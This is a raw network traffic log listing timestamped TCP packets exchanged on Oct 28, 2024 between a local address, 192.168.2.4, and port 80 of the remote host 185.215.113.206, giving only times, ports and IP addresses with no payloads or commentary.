Oct 28, 2024 08:17:38.109982014 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.109996080 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110053062 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110080957 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110099077 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110105038 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110115051 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110153913 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110165119 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110178947 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110204935 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110219002 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110230923 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110245943 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110260010 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110284090 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110284090 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110301018 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110331059 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110352993 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110368013 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110393047 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110394001 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110408068 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110431910 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110476971 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110485077 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110507965 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110538006 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110538006 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110558987 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110573053 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110589027 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110608101 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110608101 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110635042 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110649109 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110663891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110670090 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110670090 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110677958 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110693932 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110712051 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110712051 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110860109 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110874891 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110888958 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110912085 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110912085 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110939980 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.110985041 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.110999107 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111011982 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111035109 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111035109 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111062050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111083031 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111104965 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111124992 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111156940 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111172915 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111174107 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111186981 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111196041 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111201048 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111231089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111231089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111253977 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111347914 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111399889 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111423016 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111433983 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111449957 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111450911 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111464024 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111474037 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111499071 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111499071 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111577988 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111617088 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111629009 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111644030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111677885 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111677885 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111758947 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111774921 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111819029 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111819029 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111871004 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111892939 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111908913 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111910105 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111923933 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111938953 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.111941099 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111941099 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111964941 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.111964941 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.151132107 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.151168108 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.151182890 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.151334047 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.151334047 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.153647900 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.153666019 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.153702021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.153717041 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.153717995 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.153718948 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.153732061 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.153757095 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.153757095 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.153790951 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229157925 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229172945 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229331017 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229353905 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229389906 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229424953 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229441881 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229475021 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229476929 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229490042 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229491949 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229505062 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229517937 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229526997 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229542971 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229549885 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229549885 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229558945 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229579926 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229579926 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229614019 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229623079 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229636908 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229654074 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229654074 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229667902 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229684114 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229685068 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229685068 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229700089 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229712009 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229716063 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229732037 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229743958 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229743958 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229752064 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229764938 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229768038 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229768038 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229789019 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229809046 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229841948 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229877949 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229882002 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229892015 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229931116 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229931116 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.229965925 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.229980946 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230003119 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230016947 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230016947 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230025053 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230062962 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230062962 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230112076 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230127096 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230142117 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230149984 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230176926 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230176926 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230189085 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230230093 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230237961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230256081 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230272055 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230278015 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230302095 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230302095 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230324984 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230369091 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230397940 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230398893 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230418921 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230432034 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230432034 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230432987 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230448008 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230454922 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230468988 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230479956 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230495930 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230503082 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230508089 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230513096 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230531931 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230555058 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230801105 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230868101 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230880976 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230905056 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230937004 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230943918 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230957985 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230971098 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230987072 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.230987072 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.230999947 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.231024027 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.231024027 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.231029034 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.231067896 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.231092930 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.231122971 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.231141090 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.231141090 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.231178999 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.231180906 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.231180906 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.231193066 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.231208086 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.231224060 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.231232882 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.231232882 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.231237888 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.231255054 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.231280088 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.231280088 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.231409073 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.231466055 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.231482983 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.231511116 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.231511116 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.231514931 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.231529951 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.231532097 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.231544018 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.231564999 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.231565952 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.231579065 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.270817995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.270849943 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.270888090 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.270910978 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.270910978 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.270920992 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.270947933 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.270967007 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.273480892 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.273514986 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.273542881 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.273570061 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.273637056 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.273669958 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.273703098 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.273710012 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.273710012 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.273739100 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.273780107 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.273780107 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.348355055 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.348373890 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.348390102 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.348417997 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.348509073 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.348627090 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.348654985 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.348678112 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.348685026 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.348685026 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.348691940 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.348707914 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.348716974 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.348722935 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.348740101 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.348759890 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.348759890 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.348766088 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.348781109 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.348794937 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.348814964 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.348814964 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.348853111 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.348861933 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.348877907 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.348901033 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.348908901 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.348923922 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.348931074 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.348941088 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.348984957 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.348989010 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349026918 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349036932 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349050999 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349065065 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349091053 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349091053 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349129915 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349268913 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349289894 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349307060 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349320889 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349320889 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349328041 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349344015 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349349022 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349371910 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349380970 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349387884 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349396944 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349411011 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349436998 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349437952 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349450111 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349463940 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349488020 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349523067 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349534988 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349534988 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349538088 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349553108 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349574089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349574089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349597931 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349658966 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349673986 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349688053 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349721909 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349721909 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349721909 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349761009 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349775076 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349791050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.349797010 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349813938 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.349833965 CET	49766	80	192.168.2.4	185.215.113.206
